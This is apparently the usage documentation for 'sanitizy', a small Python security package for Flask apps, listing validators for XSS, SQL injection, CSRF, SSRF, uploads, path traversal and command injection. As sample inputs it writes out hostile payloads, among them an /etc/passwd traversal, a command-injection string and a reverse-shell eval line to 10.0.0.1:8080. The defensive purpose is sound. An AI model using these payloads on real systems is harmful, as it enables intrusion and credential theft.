This is a simple and very light weight python package to help securing python web applications in general especially Flask apps since they lack security !!
from sanitizy import *
XSS.escape('<h1>')# produces: '<h1>'
XSS.escape_args(request)#produces a dict with escaped values
XSS.escape_form(request)#produces a dict with escaped values
from sanitizy import *
SQLI.escape("' or 1=1 or '")# produces: "\' or 1=1 or \'"
SQLI.escape_args(request)#produces a dict with escaped values
SQLI.escape_form(request)#produces a dict with escaped values
CSRF.validate("http://www.google.com",["www.google.com","www.bing.com"])#takes the referer header value and a list of allowed domains, then returns 'True' if it's safe and 'False' if not
CSRF.validate_flask(request)#returns 'True' if it's safe and 'False' if not
SSRF.validate("http://localhost:22",url=True)#returns 'True' if it's safe and 'False' if not
SSRF.validate("localhost:22",url=False)#returns 'True' if it's safe and 'False' if not
FILE_UPLOAD.check_file(request.files['file'],allowed_extensions=['png','jpg','jpeg','gif','pdf'],allowed_mimetypes=["application/pdf","application/x-pdf","image/png","image/jpg","image/jpeg"])#returns 'True' if it's safe and 'False' if not
FILE_UPLOAD.save_file(request.files['file'],path="uploads/")#it will returns the path to the uploaded file
PATH_TRAVERSAL.check("../../../../../../etc/passwd")#returns 'True' if it's safe and 'False' if not
RCE.command("ls -a ;cat /etc/passwd ")#returns 'True' if it's safe and 'False' if not
RCE.eval("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1")#returns 'True' if it's safe and 'False' if not
FORM_INPUTS.alphabet("ala bouali",length=(1,50))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.numeric("233 21 4",length=(1,15))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.alphabet("ala bouali",length=(1,50))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.alphanumeric(" ala bOuali12 56",length=(1,50))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.email("[email protected]",length=(6,15))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.phone_number("+123456789",length=(6,15))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.password("fvccabah$vhj",length=(8,15))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.passwords_match("fvccabah$vhj","fvccabah$234",length=(8,15))#returns 'True' if it's correct and 'False' if not
FORM_INPUTS.regex_match("[email protected]",r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b',length=(6,15))#returns 'True' if it's correct and 'False' if not